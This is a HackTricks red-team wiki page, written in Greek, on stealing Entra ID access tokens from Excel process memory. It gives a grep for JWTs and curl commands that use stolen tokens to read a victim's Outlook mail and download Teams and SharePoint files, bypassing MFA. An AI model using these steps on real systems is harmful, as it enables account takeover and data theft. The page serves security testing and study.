Az - Processes Memory Access Token

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Basic Information

Όπως εξηγείται σε αυτό το βίντεο, ορισμένα λογισμικά της Microsoft που συγχρονίζονται με το cloud (Excel, Teams...) μπορεί να αποθηκεύουν τα access tokens σε καθαρό κείμενο στη μνήμη. Έτσι, απλά dumping τη μνήμη της διαδικασίας και grepping για JWT tokens μπορεί να σας δώσει πρόσβαση σε αρκετούς πόρους του θύματος στο cloud παρακάμπτοντας το MFA.

Βήματα:

1. Dump τις διαδικασίες excel που συγχρονίζονται με τον χρήστη EntraID με το αγαπημένο σας εργαλείο.

2. Εκτελέστε: string excel.dmp | grep 'eyJ0' και βρείτε αρκετά tokens στην έξοδο

3. Βρείτε τα tokens που σας ενδιαφέρουν περισσότερο και εκτελέστε εργαλεία πάνω τους:

# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Σημειώστε ότι αυτού του είδους τα access tokens μπορούν επίσης να βρεθούν μέσα σε άλλες διαδικασίες.

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.